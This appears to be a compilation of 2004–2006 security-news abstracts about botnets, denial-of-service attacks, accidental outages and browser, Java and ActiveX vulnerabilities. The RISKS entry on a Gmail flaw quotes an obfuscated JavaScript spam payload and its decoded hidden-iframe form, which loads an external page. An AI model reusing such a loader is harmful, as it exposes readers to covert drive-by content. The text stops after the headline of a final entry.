Hacked computer networks, or botnets, are becoming increasingly difficult to trace as hackers develop new means to hide them, says security experts. Botnets are used to send spam, propagate viruses, and carry out denial of service attacks. Extortion schemes are frequently backed by botnets, and hackers are also renting the use of armadas of computers for illegal purposes through Web advertisements, said Kevin Hogan, senior manager for Symantec Security Response. Three or four years ago, it was easier to connect to botnets and estimate the size of one by noting the number of IP addresses on the network, he said. As legislation emerged cracking down on spammers, those who ran botnets started pursuing more clandestine ways to continue their operations. Rather than deter hardcore spammers, it drove them further underground, said Mark Sunner of MessageLabs. Botnets have an ebb and flow similar to biological behavior, Sunner said. Viruses on an infected computer may download new variants in an attempt to evade anti-virus sweeps. Law enforcement authorities have become more adept at tracking down botnet admins. However, the admins have countered by sticking to smaller groups of around 20,000 machines that are less likely to be detected as quickly, Sunner said.

Category 21.5 *Robots, botnets*

2006-01-23 **hacker guilty plead criminal lawsuit California**

DHS IAIP Daily;
http://www.cnn.com/2006/TECH/internet/01/23/hacker.ap/index. Html

BOTNET HACKER PLEADS GUILTY.

A 20-year-old hacker admitted Monday, January 23, to surreptitiously seizing control of thousands of Internet-connected computers, using the zombie network to serve pop-up ads and renting it to people who mounted attacks on Websites and sent out spam. Jeanson James Ancheta, of Downey, CA, pleaded guilty in Los Angeles federal court to four felony charges for crimes, including infecting machines at two U.S. military sites, that earned him more than $61,000, said federal prosecutor James Aquilina. Prosecutors called the case the first to target profits derived from use of "botnets," large numbers of computers that hackers commandeer and marshal for various nefarious deeds. The "zombie" machines' owners are unaware that parasitic programs have been installed on them and are being controlled remotely. Ancheta one-upped his hacking peers by advertising his network of "bots," short for robots, on Internet chat channels. A Website Ancheta maintained included a schedule of prices he charged people who wanted to rent the machines, along with guidelines on how many bots were required to bring down a particular type of Website. Acheta's sentencing is scheduled for May 1.

Category 21.5 *Robots, botnets*

2006-02-08 **McAfee tool anti-bot zombie computer networks Advance Botnet Protection DDoS attacks**

EDUPAGE;
http://www.techworld.com/security/news/index.cfm?NewsID=5326&inkc=0

MCAFEE TACKLES BOTS

McAfee has introduced a new tool designed to defend against bots. Most distributed denial-of-service (DDoS) attacks are carried out by networks of computers running automated programs, or bots, that are controlled centrally. So-called botnets typically consist of thousands of computers hijacked by a hacker who can use them to launch DDoS attacks. Most attacks involve bots sending thousands of incomplete packets to the targeted server, which may be overwhelmed by the traffic. Defending against such attacks is difficult because it is not easy to distinguish legitimate traffic from DDoS traffic, and system administrators do not want to inadvertently block legitimate server requests. McAfee said that its new system, called Advanced Botnet Protection, is able to identify traffic that consists of incomplete packets, allowing network operators to separate malicious botnet traffic and avoid DDoS attacks.

Category 21.5 *Robots, botnets*

2006-03-02 **botnet zombie computer network hunt command control malicious hackers**

DHS IAIP Daily; http://www.eweek.com/article2/0,1895,1933210,00.asp

HUNT INTENSIFIES FOR BOTNET COMMAND AND CONTROLS.

A group of high-profile security researchers, which includes international representatives from anti-virus vendors, ISPs, educational institutions and dynamic DNS providers, is ramping up efforts to find and disable the command and control infrastructure that powers millions of zombie drone machines, or bots, hijacked by malicious hackers. The idea is to open up a new reporting mechanism for ISPs and IT administrators to report botnet activity, especially the command and control system that remotely sends instructions to botnets. "If that command-and-control is disabled, all the machines in that botnet become useless to the botmaster. It's an important part of dealing with this problem," said Gadi Evron, a botnet hunter who serves in Israel's Ministry of Finance. Over the last year, the group has done its work quietly on closed, invite-only mailing lists. Now, Evron has launched a public, open mailing list to enlist the general public to help report botnet command and control servers. The new mailing list will serve as a place to discuss detection techniques, report botnets, pass information to the relevant private groups and automatically notify the relevant ISPs of command and control sightings.

Category 21.5 *Robots, botnets*

2006-03-16 **new instant message IM threats botnet networks fraud system FaceTime Security Labs**

DHS IAIP Daily; http://www.finextra.com/fullpr.asp?id=8488

FACETIME IDENTIFIES NEW IM BOTNET THREAT.

Research experts at FaceTime Security Labs identified and reported a new threat Thursday, March 16, affecting instant messaging applications. Acting on an anonymous tip, researchers have uncovered two botnet networks that collectively represent up to 150,000 compromised computers, one of which is being used as a vehicle to fraudulently scan desktop and back-end systems to obtain credit card numbers, bank accounts, and personal information, including log-ins and passwords. The operators could potentially launch these scans from any computer on the botnet to mask their actual location. With this new threat, FaceTime has identified more than 40 unique files -- many designed to take advantage of social engineering techniques, stored passwords, auto-complete data and vulnerable payment systems.

Category 21.5 *Robots, botnets*

2006-03-20 **botnet zombie computer network authors phpBB forum attack**

DHS IAIP Daily; http://news.netcraft.com/archives/2006/03/20/bot_authors_targeting_phpbb_forums.html

BOT AUTHORS TARGETING PHPBB FORUMS.

A bot by the name of FuntKlakow is registering user accounts on thousands of phpBB forums across the Internet, raising concerns that the bot's authors are laying the groundwork for mass exploitation down the road. FuntKlakow post signatures have included links to proxy surfing and "traffic generator" services, raising the prospect that its goal may be spam rather than exploits.

22.1 DoS attacks

Category 22.1 DoS attacks

2005-10-15 **denial of service DoS SMS cellular mobile phone**

Cryptogram

SMS CAUSES A MESS

Bruce Schneier writes:
Turns out you can jam cell phones with SMS messages. Text messages are transmitted on the same channel that is used to set up voice calls, so if you flood the network with one, then the other can't happen. The researchers believe that sending 165 text messages a second is enough to disrupt all the cell phones in Manhattan.

Category 22.1 DoS attacks

2006-03-27 **Microsoft Office XP array index denial-of-service DoS vulnerability**

DHS IAIP Daily; http://www.securityfocus.com/bid/17252/references

MICROSOFT OFFICE XP ARRAY INDEX DENIAL-OF-SERVICE VULNERABILITY.

Microsoft Office is prone to a denial-of-service condition when handling malformed array indices. Analysis: When an Office application such as Excel, Word, or PowerPoint tries to open a file containing a malformed array index, an exception will be thrown, causing the application to fail. For a complete list of vulnerable products: http://www.securityfocus.com/bid/17252/info Solution: Currently, Security Focus is not aware of any vendor-supplied patches for this issue.

Category 22.1 DoS attacks

2006-05-03 **massive denial-of-service DoS TypePad LiveJournal blogging software attacks**

DHS IAIP Daily; http://www.techweb.com/wire/security/187200053

MASSIVE DOS ATTACK KNOCKS TYPEPAD, LIVEJOURNAL BLOGS OFFLINE.

Millions of blogs hosted by LiveJournal and TypePad were unavailable throughout Tuesday night, May 2, and into Wednesday morning, May 3, as a massive denial-of-service attack struck their servers. The attack that brought down the servers at Six Apart -- the San Francisco company behind the LiveJournal and TypePad services, and the Moveable Type blogging software -- began at 4 p.m. PDT Tuesday, according to an advisory posted to the firm's Website by Michael Sippey, the vice president of product. According to Sippey, service was interrupted for the following: TypePad, LiveJournal, TypeKey, sixapart.com, movabletype.org and movabletype.com.

22.2 DDoS attacks

Category 22.2 DDoS attacks

2005-02-24 **DDoS attacks target Japanese government Web network damage data functioning**

EDUPAGE; http://www.siliconvalley.com/mld/siliconvalley/10980656.htm

DDOS ATTACKS TARGET JAPANESE GOVERNMENT WEB SITES

Distributed denial-of-service attacks targeting the Japanese Prime Minister's Office and Cabinet Office this week caused severe network slowdowns and prevented access to the two Web sites, according to Chief Cabinet Secretary Hiroyuki Hosoda. The cyber attacks caused no significant damage, evidently not having been designed to destroy data, and the affected networks have returned to normal functioning. Similar attacks on several Japanese ministries in August and January 2004 temporarily froze their Web servers. The Japanese government has not yet identified the attackers.

Category 22.2 DDoS attacks

2005-05-07 **distributed denial-of-service DDoS spam unsolicited commercial e-mail flooding zombies restrictions SMTP servers**

RISKS 23 88

RUMPELSTILTSKIN ATTACK FLOODS NETWORKS

Brett Glass reported on a wave of fraudulent traffic from zombies testing for real e-mail addresses by generating likely candidates. "As described in a paper I wrote several years ago (where I coined the term for lack of a better existing one), it is an e-mail address harvesting attack in which a machine attempts to send e-mail messages to randomly guessed addresses at a domain. It might try common first names -- for example, 'john@domain.com,' 'joe@domain.com,' and 'mike@domain.com' -- and then proceed to common last names and combinations of names and initials. (In some cases, we've seen some very unusual guesses that appear to have been extracted from lists of AOL screen names.) If mail for a guessed address is accepted, the "zombie" machine records the address and sends it back to its 'master' -- a controlling machine which adds it to a database of addresses which will become targets for spam."

Glass concludes with recommendations:

>Because the "zombies" are generally not mail servers, the most effective way to mitigate these attacks -- though it might offend the sensibilities of the "Orthodox End-to-Endians" -- is for ISPs and enterprised to block outgoing port 25 traffic from client computers that are not designated as, or intended to be, mail servers. These computers should send outgoing mail only through a designated mail server, which in turn monitors them for excessive outgoing traffic.

ISPs' firewalls should monitor and log attempts to send such traffic, so that infected machines can be spotted and cleansed of their infections.

As I've mentioned above, there will be some people who are philosophically opposed to the notion of restricting Internet traffic so as to limit abuse. Alas, such idealism is inappropriate for the real world, where spam is now consuming so many resources that it threatens not only to choke off not only legitimate e-mail but to consume the lion's share of ISPs' bandwidth.<

Category 22.2 DDoS attacks

2006-03-16 **VeriSign distributed denial-of-service DDoS attack warning zombie botnet networks**

DHS IAIP Daily;
http://www.computerworld.com/securitytopics/security/hacking/story/0,10801,109631,00.html

VERISIGN DETAILS MASSIVE DENIAL-OF-SERVICE ATTACKS.

A sudden increase in a particularly dangerous type of distributed denial-of-service (DDoS) attack could portend big trouble for companies, according to VeriSign Inc. The attacks, which started on January 3 and ended in mid-February, were notable because they employed an especially devastating kind of DDoS attack, said Ken Silva, VeriSign's chief security officer. Such an attack typically involves thousands of compromised zombie systems sending torrents of useless data or requests for data to targeted servers or networks -- rendering them inaccessible for legitimate use. In this case, attackers sent spoofed domain-name requests from botnets to Domain Name System servers, which processed the requests and then sent replies to the spoofed victims, according to Silva.

22.4 Accidental availability disruptions

Category 22.4 *Accidental availability disruptions*

2005-02-17 **denial of service DoS wireless mouse batteries**

RISKS 23 73

A BATTERY OF RISKS

Peter Pankonin pointed out yet another denial-of-service problem to worry about:

>This week a user complained that his computer system had locked up. He had typed away on a document for an hour (without saving of course) and couldn't move the mouse. Rebooting didn't fix the problem.

I was summoned to investigate, whereupon I noticed that the mouse pointer was indeed frozen at the center of the screen. Interestingly enough the keyboard still worked. Then I noticed that there was no red light emanating from his wireless optical mouse. After a quick installation of fresh batteries, the system magically recovered. Unfortunately, I was unable to recover the data lost after he rebooted.<

Category 22.4 *Accidental availability disruptions*

2005-06-15 **denial of service DoS software quality assurance QA database error indexing cellular mobile telephone**

RISKS; http://www.aftenposten.no/english/local/article1059215.ece 23 90

DATABASE ERROR MAKES HALF OF NORWAY'S CELLPHONES GO OFFLINE

Customers of Netcom, the second largest cellular provider in Norway, experienced sporadic or close to no service for days earlier this week. Companies that earlier abandoned "normal" phones and went all cellular are now installing land phones and/or IP phones.

>"Hundreds of thousands of customers and a government minister alike remained up in arms Tuesday, after losing use of their mobile telephones in recent days. … NetCom has actively promoted the concept of the "wireless office," and companies from building giant NCC to Aftenposten have made the switch, also as a means of saving money. Instead, it's left them vulnerable to communications breakdown and even dangerous situations."<

Problem? Database indexing issues, after a upgrade the previous week.

[Abstract, excerpt and comment from Olav Langeland]

Category 22.4 *Accidental availability disruptions*

2005-06-20 **denial of service outage cable network cash transactions mobile phone Internet services stock exchange**

RISKS; http://www.informationweek.com/story/showArticle.jhtml?articleID=164900973 23 91

NEW ZEALAND OUTAGE SHUT DOWN STOCK EXCHANGE

A major outage in New Zealand Telecom Corp.'s cable network Monday disrupted data services, electronic cash transactions, mobile phone, and Internet services, as well as shutting down the nation's stock exchange for hours (the third time in the past nine months that data link failures have halted trading). Widespread disruption to business and private services was caused by two cable breaks on its North Island network. They were repaired by mid-afternoon Monday--at least five hours after they occurred. [Internet service and mobile phones were also out of commission due to two cable breaks. MHS]

The outage was caused by two separate incidents, including a fiber cable break north of the capital, Wellington, and a second cable being cut in Taranaki province on the west coast of North Island, more than 300 kilometers (188 miles) north of Wellington.

[Contributed by Marcus H. Sachs with additional abstracting by Peter G. Neumann]

Category 22.4 *Accidental availability disruptions*

2005-06-21 **Blackberry nationwide cellular network outage blackout denial-of-service DoS**

DHS IAIP Daily; http://www.nytimes.com/aponline/technology/AP−Blackberry−Out age.html

BLACKBERRY NETWORK DOWN FOR HOURS

The BlackBerry e-mailservice suffered a nationwide outage Friday morning, June 17, but the nearly four-hour disruption only appeared to affect devices connected to certain types of cellular networks. Although Research in Motion Ltd. (RIM), which makes the popular mobile devices and provides a service connecting them to corporate networks, did not respond to phone calls seeking comment, Cingular Wireless, T-Mobile USA, and Nextel Communications Incorporated confirmed the outage. Cingular Wireless said RIM's outage lasted for three hours and 49 minutes, while T-Mobile USA said service was restored by noon EDT. Nextel Communication Incorporated reported that only some customers experienced trouble, and in those cases it was a delay in e-mails rather than a full-fledged service disruption. Both Verizon Wireless and Sprint Corporation said there were no complaints from their customers at all, possibly due to their reliance on cellular networks based on a technology called Code Division Multiple Access (CDMA); the three cellular carriers who experienced the service disruption rely on alternate technology-based cellular networks other than CDMA.

Category 22.4 *Accidental availability disruptions*

2005-06-22 **Blackberry nationwide cellular network outage blackout denial-of-service DoS second week**

DHS IAIP Daily; http://news.com.com/BlackBerry+endures+another+outage/2100−1 039_3−5758043.html?tag=nefd.top

BLACKBERRY ENDURES SECOND OUTAGE IN A WEEK

A number of BlackBerry handheld wireless devices experienced service problems on Wednesday, June 22, marking the second time in less than a week that the popular devices lost their data connections. A RIM representative said a hardware failure Wednesday triggered a backup system that operated at a lower capacity "than expected." Service has been restored, she said. BlackBerry customers, including a federal agency in Washington, DC, were told by RIM on Wednesday of an outage affecting accounts nationwide and across all carriers, according to an e-mailfrom RIM. Cell phone operator T-Mobile USA said an undisclosed number of its BlackBerry subscribers in Manhattan had only sporadic e-mailand other kinds of data service Wednesday. These problems were not related to what appears to be a nationwide Blackberry outage, according to a RIM representative.

Category 22.4 *Accidental availability disruptions*

2005-09-19 **hurricane Katrina disaster denial-of-service accidental overwhelmed Red Cross Website online transactions donations**

DHS IAIP Daily; http://www.eweek.com/article2/0,1895,1860051,00.asp

DONATIONS OVERWHELM RED CROSS STAFF, SITE

In the wake of Hurricane Katrina the Red Cross was faced with an overwhelmed IT infrastructure that was unable to handle the numerous online donations. After the tsunami in Southeast Asia last December, the Red Cross faced a huge number of online donations in which the IT staff worked long hours and offloaded some of the transaction processing to technology partners. However the donation system still wasn't ready for Hurricane Katrina. Dave Clarke, chief technology officer at the Red Cross stated, "As soon as we understood the magnitude of the tragedy, we knew the money would be coming in. When we began to see the initial transaction volume, we determined that if it continued on that growth curve, we would run out of capacity. And we knew we had to get ready."

Category 22.4 Accidental availability disruptions

2006-01-04 **availability airline reservation system business continuity disaster recovery failure**

RISKS 24 14

UNITED AIRLINES RESERVATION COMPUTER SYSTEM OUTAGE

According to a RISKS correspondent, the AP and Reuters newswire report describing the United Airlines reservation system outage on the 3rd of January 2006 was wrong. Peter Neumann summarized the reports as follows: "Computer Glitch Delays United Air Flights In US, 3 Jan 2006 United Airlines' domestic flights were delayed up to 90 minutes Tuesday night because of an outage in the computer system controlling United's check-ins and reservations, which went down for about five hours around 5 p.m. CST Wednesday. Passengers were checked manually, and flights were delayed up to 90 minutes." However, the corresepondent personally saw delays of far more than 90 minutes at Los Angeles International Airport (LAX). He described the debacle as follows (quoting directly):

* No self-check-in kiosks working, reservationists answering the phone with "our computers are still down", which meant every queue had more than 500 people in it, spilling out on the sidewalk outside the terminal, and they were using "the manual procedure". The people close to the head of the queue had been waiting for more than two hours, they said, and they dispensed with the special queues for premier or 1k, just to spread the pain equally.

* They weren't calling out specific flights to try to fill them.

* They had most of the check-in desks empty. Obviously they don't have enough people trained in the manual procedure to alleviate the bottleneck.

* The woman working the lines (with a megaphone) was apologetic, but wouldn't answer questions, not even frequently asked questions which did not have to with individual problems, such as "if I miss my last flight will you provide a hotel? Or is my ticket now refundable if I fly another carrier?

* some reports are they were flying planes half-empty because people couldn't get to the gates. Of course, they weren't announcing how long they were holding flights to try to board them.

* TSA, not known for their flexibility, was not allowing people to go to the gates directly with a boarding pass. Even an e-ticket receipt with a seat assignment wouldn't get you there.

United stock is down 2% today, trading at around a buck a share. Their earnings are -$43 per share at the moment. I'll bet this was an expensive failure."

Category 22.4 *Accidental availability disruptions*

2006-03-29 **vulnerability spider bot search engine Javascript cookies bypass design flaw data integrity deletion erasure**

RISKS 24 22

THE SPIDER OF DOOM

Alex Papadimoulis had a fascinating tale of a disappearing Web site. In brief, a government Web site was converted to a content-management system that would allow employees to manage their own Web pages without having to go through a Web designer. It worked fine for five days, but on the sixth day all the content was gone! The entire Website had been erased by an external user that turned out to be the GOOGLE web crawling spider.

>After quite a bit of research (and scrambling around to find a non-corrupt backup), Josh found the problem. A user copied and pasted some content from one page to another, including an "edit" hyperlink to edit the content on the page. Normally, this wouldn't be an issue, since an outside user would need to enter a name and password. But, the CMS authentication subsystem didn't take into account the sophisticated hacking techniques of Google's spider. Whoops.

As it turns out, Google's spider doesn't use cookies, which means that it can easily bypass a check for the "isLoggedOn" cookie to be "false". It also doesn't pay attention to Javascript, which would normally prompt and redirect users who are not logged on. It does, however, follow every hyperlink on every page it finds, including those with "Delete Page" in the title. Whoops.

After all was said and done, Josh was able to restore a fairly older version of the site from backups. He brought up the root cause -- that security could be beaten by disabling cookies and javascript -- but management didn't quite see what was wrong with that. Instead, they told the client to NEVER copy paste content from other pages.<

Steve Summit added in RISKS 24.23

>I can see Joe Loughry's tongue in his cheek pretty clearly from here, but it might not be obvious to a casual reader that this was manifestly *not* a "hacking" attempt by Google. That a simple and naïve traversal of some hyperlinks could cause content to be deleted makes it pretty obvious that something was badly wrong with the site's editing and access-control model.

Needless to say (or, it *ought* to be needless, but is actually pretty needful), security that assumes that visitors *will* have cookies and JavaScript enabled, that can be compromised if these features are disabled, is no security at all. That content could have been inadvertently deleted by any visitor to the vulnerable website; google's spider just happened to get to it all first.<

Category 22.4 *Accidental availability disruptions*

2006-04-06 **Microsoft MSN search denial-of-service DoS outage**

DHS IAIP Daily;
http://www.computerworld.com/developmenttopics/websitemgmt/s
tory/0,10801,110305,00.html

MSN SEARCH ENGINE SUFFERS HOURS-LONG OUTAGE.

Microsoft Corporation's MSN search engine, the third most popular in the U.S., suffered an hours-long outage on Thursday, April 6, as queries returned an error message instead of Webpage results. The outage began around 8:30 a.m. PDT and ended around noon, according to a spokesperson for Microsoft. The company is still trying to determine what caused the problem.

23.1 Java

Category 23.1 Java

2004-12-20 **Google Desktop Search local search integration result disclosure remote Java applet exploit update issued**

DHS IAIP Daily; http://securitytracker.com/alerts/2004/Dec/1012624.html

GOOGLE DESKTOP SEARCH DISCLOSES LOCAL SEARCH INTEGRATION RESULTS TO REMOTE USERS.

A remote user can create a Java applet that, when loaded by the target user, will execute queries to the remote server that served the Java applet that appear to the Google Desktop Search application to be valid Google queries, causing the search application to integrate the local search results with the information returned by the remote server that served the Java applet. The applet running on the target user's system will then have access to the integrated local search results and can forward those results to the remote server. The vendor has released a fixed version (121004) as of December 10, 2004.

23.2 Javascript

Category 23.2 Javascript

2005-09-16 **java exploit audio file automatic execution e-mail GMAIL spam script**

RISKS 24 04

GMAIL SECURITY FLAW: ACTS ON JAVASCRIPT IN UNOPENED E-MAIL

Suw Charman reported on a new vulnerability and exploit:

* * *

I received a spam this morning that opened audio files without me even opening the e-mail. The spam was from 'news@capitalex.com' and had the subject 'news'.

A closer looks reveals this code:

<Script Language='Javascript'>

<!--

document.write(unescape('%3C%49%46%52%41%4D%45%20%77%69%64%74%68%3D%22%31%22%20%68%65%69%67%68%74%3D%22%31%22%20%53%52%43%3D%22%68%74%74%70%3A%2F%2F%77%77%77%2E%70%72%6F%66%6F%72%65%78%74%72%61%64%65%2E%63%6F%6D%2F%69%6D%61%67%65%73%2F%6E%65%77%65%78%2E%68%74%6D%6C%22%20%66%72%61%6D%65%42%6F%72%64%65%72%3D%22%31%22%20%0D%0A%0D%0A%73%63%72%6F%6C%6C%69%6E%67%3D%22%6E%6F%22%3E%3C%2F%49%46%52%41%4D%45%3E'));

//-->

</Script>

This decodes to

<IFRAME width="1" height="1" SRC="
http://www.proforextrade.com/images/newex.html" frameBorder="1" scrolling="no"></IFRAME>

That page loads automatically, *without me having opened the e-mail*, then runs a shed load of rubbish including two audio files.

23.3 ActiveX

Category 23.3 *ActiveX*

2005-11-10 **Web application active content disable security incompatibility non-standard operating system restrictions design**

RISKS 24 10

LAW SCHOOL FORCES APPLICANTS TO DISABLE SECURITY MEASURES

Tony Lima reports on an annoying case of bad Web design he discovered when a Macintosh-using young friend of his tried to apply to a law school. It took over an hour to disable security sufficiently to allow a required ActiveX control to run on a Windows machine:

>I finally got the control to install after doing the following:

- Disabling my anti-spyware software (ewido security suite). I then tried to install the control with no luck.

- Setting the privacy permission for lsac.org to "allow." Again no luck installing the control.

- Eliminating all security by making the security settings (Tools/Internet Options/Security/Custom Level) completely open. I enabled each and every ActiveX and other control including unsigned controls and controls marked as not safe. The control then installed successfully.

Now perhaps I didn't have to go quite that far but a deadline was approaching and I really didn't want to take the time to perform the trial and error that would apparently be required to determine exactly how much security to give up.<

Prof Lima adds humorously:

"It occurs to me that this is truly THE law school admission test. If you're dumb enough to let this control install you're probably good law school material. OTOH if you don't let the control through then you're too smart to be a lawyer. (That's about all the humor I can manage after 1.5 hours fighting with this stuff. I've disconnected from the net and am running my usual four scanning programs right now.)"

Category 23.3 *ActiveX*

2006-05-10 **VeriSign i-Nav ActiveX control remote buffer overflow vulnerability execute arbitrary code solution update**

DHS IAIP Daily; http://www.securityfocus.com/bid/17939/discuss

VERISIGN I-NAV ACTIVEX CONTROL REMOTE BUFFER OVERFLOW VULNERABILITY.

Verisign i-Nav ActiveX control is prone to a buffer overflow vulnerability. The software fails to perform sufficient bounds checking of user supplied input before copying it to an insufficiently sized memory buffer. Analysis: This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of the Verisign i-Nav ActiveX control. User interaction is required to exploit this vulnerability in that the target must visit a malicious Webpage. The specific flaw exists within the "VUpdater.Install" ActiveX control which is used to provide native support for Internationalized Domain Names in Microsoft Internet Explorer, Microsoft Outlook and Microsoft Outlook Express. Solution: Reportedly, the vendor has released updated versions of the affected software to address this issue. Users of affected packages should contact the vendor for further information. For more information: http://www.securityfocus.com/bid/17939/references

---

23.4 HTML, XML, browsers

Category 23.4 HTML, XML, browsers

2005-01-18 **Google links search engine blogs no follow tag priority cheat fraud fake false**

NewsScan;
http://news.com.com/Google+aims+to+outsmart+search+tricksters/2100-1024_3-5540740.html

GOOGLE MOVES TO OUTSMART SEARCH MANIPULATORS

Google is implementing a new tactic for blocking "link spammers" -- people who use the comment form on Web forums or blogs to place a link pointing back to their own Web site. The strategy is used to trick Google's PageRank technology into boosting a Web site's ranking in its results. The problem has become particularly rampant in the age of blogging, when publishers have little recourse to stop outsiders from littering their comment forms with bogus links. Google's answer, says search expert Danny Sullivan, is to give publishers a "no follow" tag that they can insert on a Web page to indicate that comments or links are not their own and signal Google as it indexes the Web that the pages are to be overlooked. "The tag provides you a way to flag links that are basically not yours," says Sullivan. "The reason why that's helpful is because they won't count those links. It makes the idea of spamming less attractive." Blog publisher Six Apart says it will adopt the tagging standard for its roughly 6.5 million blogs. "We're interested in deploying this tool so that all the search engines, whether it's Google, Yahoo or MSN, can properly distinguish content published by the author from content from commentors," says Six Apart VP Anil Dash. (CNet News.com 18 Jan 2005)

Category 23.4 HTML, XML, browsers

2005-02-07 **Mozilla Firefox Camino Internet Web browser International Domain Names IDN spoofing security vulnerability no update issued**

DHS IAIP Daily; http://secunia.com/advisories/14163/

MOZILLA / FIREFOX / CAMINO WEB BROWSERS IDN SPOOFING SECURITY ISSUE

A security issue has been reported which can be exploited by a malicious Website to spoof the URL displayed in the address bar, SSL certificate, and status bar. The problem is caused due to an unintended result of the IDN (International Domain Name) implementation, which allows using international characters in domain names. This can be exploited by registering domain names with certain international characters that resemble other commonly used characters, thereby causing the user to believe they are on a trusted site. No solution is currently available.

Category 23.4 HTML, XML, browsers

2005-02-08 **Mozilla Firefox Internet Web browser multiple vulnerabilities command execution attack JavaScript hybrid image**

DHS IAIP Daily; http://securitytracker.com/alerts/2005/Feb/1013108.html

MOZILLA FIREFOX MULTIPLE VULNERABILITIES

There are several vulnerabilities in Mozilla Firefox. A remote user may be able to cause a target user to execute arbitrary operating system commands in certain situations or access access content from other windows, including the 'about:config' settings. This is due to a hybrid image vulnerability that allows batch statements to be dragged to the desktop and because tabbed javascript vulnerabilities let remote users access other windows. These vulnerabilities have been fixed in the CVS repository.

Category 23.4 HTML, XML, browsers

2005-04-26 **HP-UX operating system Mozilla browser vulnerabilities command execution attack system compromise update issued**

DHS IAIP Daily; http://www.frsirt.com/english/advisories/2005/0394

HP-UX MOZILLA MULTIPLE VULNERABILITIES

Multiple vulnerabilities were identified in HP-UX Mozilla, which may be exploited by malicious Websites to execute arbitrary commands. HP has acknowledged multiple vulnerabilities in Mozilla for HP-UX, which can be exploited by malicious people to cause a DoS (Denial of Service), gain knowledge of potentially sensitive information, bypass certain security restrictions, and compromise a user's system. Upgrade to Mozilla HP-UX version 1.7.3.02: http://www.hp.com/go/mozilla

---

Category 23.4 HTML, XML, browsers

2005-06-16 **vulnerability cross-site scripting security bypass Opera Web browser**

DHS IAIP Daily; http://www.securityfocus.com/bid/6962/solution

OPERA CROSS SITE SCRIPTING AND SECURITY BYPASS VULNERABILITIES

Multiple vulnerabilities were identified in Opera, which may be exploited by malicious Websites to conduct cross-site scripting attacks. The first flaw is due to insufficient validation of server side redirects when handling "XMLHttpRequest" objects, which could be exploited to access resources from outside the domain of which the object was opened. The second vulnerability is caused due to Opera not properly restricting the privileges of "javascript:" URLs when opened in e.g. new windows or frames which could be exploited to conduct cross site scripting attacks and to read local files. The third issue exists in the way the Opera browser generates a temporary page for displaying a redirection when "Automatic redirection" is disabled (not default setting), which could be exploited to conduct cross site scripting attacks. Update to Opera 8.01: http://www.opera.com

---

Category 23.4 HTML, XML, browsers

2005-06-24 **Web Internet browser vulnerability flaw Secunia Dialog Origin Spoofing**

DHS IAIP Daily; http://www.vnunet.com/vnunet/news/2138716/spoofing−flaw−swee ps−browsers

SPOOFING FLAW HITS MAJOR BROWSERS

Security company Secunia has warned of a flaw in a number of browsers that could expose users to phishing attacks. The company claims that most major browsers, including Internet Explorer, Firefox and Safari, suffer from a so-called Dialog Origin Spoofing Vulnerability. Opera 8.01 is not affected by the flaw. A hacker could use a JavaScript dialog box to request a web visitor to enter confidential information. The flaw centers around the fact that users have no way of verifying the origin of the dialog box. Hackers could exploit the flaw by offering a link to a trusted Website that simultaneously provides a malicious pop up that asks for confidential information. Microsoft has acknowledged the threat, but said that it will not release a patch because it uses a "current standard web browser functionality." Instead the software vendor urged users to use common sense before entering confidential information through a Web browser. "If a particular window or dialog box does not have an address bar and does not have a lock icon that can be used to verify the site's certificate, the user is not provided with enough information on which to base a valid trust decision about the window or dialog box," said Microsoft.

Category 23.4 HTML, XML, browsers

2005-07-25 **Netscape Browser fixes vulnerabilities malicious Websites validation error java cloning objects scripts prototype**

DHS IAIP Daily; http://www.frsirt.com/english/advisories/2005/1214

NETSCAPE BROWSER SECURITY UPDATE FIXES MULTIPLE VULNERABILITIES

Two vulnerabilities were identified in Netscape Browser, which could be exploited by malicious Websites to execute arbitrary commands. The first issue is due to an input validation error in the processing of java script URLs opened by media players, which could be exploited by attackers to execute arbitrary code. The second vulnerability is due to an improper cloning of base objects, which could allow web content scripts to walk up the prototype chain to get to a privileged object and execute arbitrary code. Netscape Browser version 8.0.2 and prior are affected. Users should upgrade to Netscape Browser version 8.0.3.1: http://browser.netscape.com/ns8/download/default.jsp

---

Category 23.4 HTML, XML, browsers

2006-01-26 **Microsoft Internet Explorer IE ActiveX arbitrary code execution quality assurance failure**

DHS IAIP Daily; http://www.hackerscenter.com/archive/view.asp?id=22251

MICROSOFT INTERNET EXPLORER DOES NOT HONOR ACTIVEX.

Internet Explorer (IE) fails to properly check the kill bit for ActiveX controls, which may allow a remote attacker to execute arbitrary code on a vulnerable system. By convincing a user to view a specially crafted HTML document an attacker could execute arbitrary code with the privileges of the user. Depending on the ActiveX control being used, an attacker may be able to take other actions. There are a number of significant vulnerabilities in technologies involving the IE domain/zone security model, local file system (Local Machine Zone) trust, the Dynamic HTML (DHTML) document object model in particular, proprietary DHTML features; the HTML Help system, MIME type determination, the graphical user interface (GUI), and ActiveX. These technologies are implemented in operating system libraries that are used by IE and many other programs to provide Web browser functionality. IE is integrated into Windows to such an extent that vulnerabilities in IE frequently provide an attacker significant access to the operating system.

Category 23.4 HTML, XML, browsers

2006-01-31 **new Internet browser cross site cooking threat Michael Zalewski Mozilla**

DHS IAIP Daily;
http://www.techworld.com/security/news/index.cfm?NewsID=5276
&Page=1&pagePos=6&inkc=0

BROWSERS FACE TRIPLE THREAT.

Polish security researcher Michael Zalewski has highlighted three bugs in the handling of cookies that he says could be used to carry out attacks on commercial Websites. The bugs, for which Zalewski has coined the term "cross site cooking," are fundamental to the design and implementation of cookies. The first problem involves the way browsers handle the domain specified in a cookie. Browsers should theoretically reject cookies where the domain is specified too broadly, but the mechanism doesn't work in Mozilla-based browsers, though Internet Explorer doesn't seem to be affected, Zalewski said. A variant on this bug is that browsers don't check to see if anything is between the periods in a domain name specified by a cookie. The third problem Zalewski outlined is a trick that he said could be easily used to force random visitors to a site to accept and relay malicious cookies to third-party sites. "Using this trick, a brand new identity may be temporarily bestowed upon the user, and used to perform certain undesirable or malicious tasks on the target site," he said.

Category 23.4 HTML, XML, browsers

2006-03-23 **Microsoft IE Internet Explorer dangerous zero-day exploit security advisory**

DHS IAIP Daily; http://www.techweb.com/wire/security/183702421

MICROSOFT WARNS OF DANGEROUS INTERNET EXPLORER EXPLOIT.

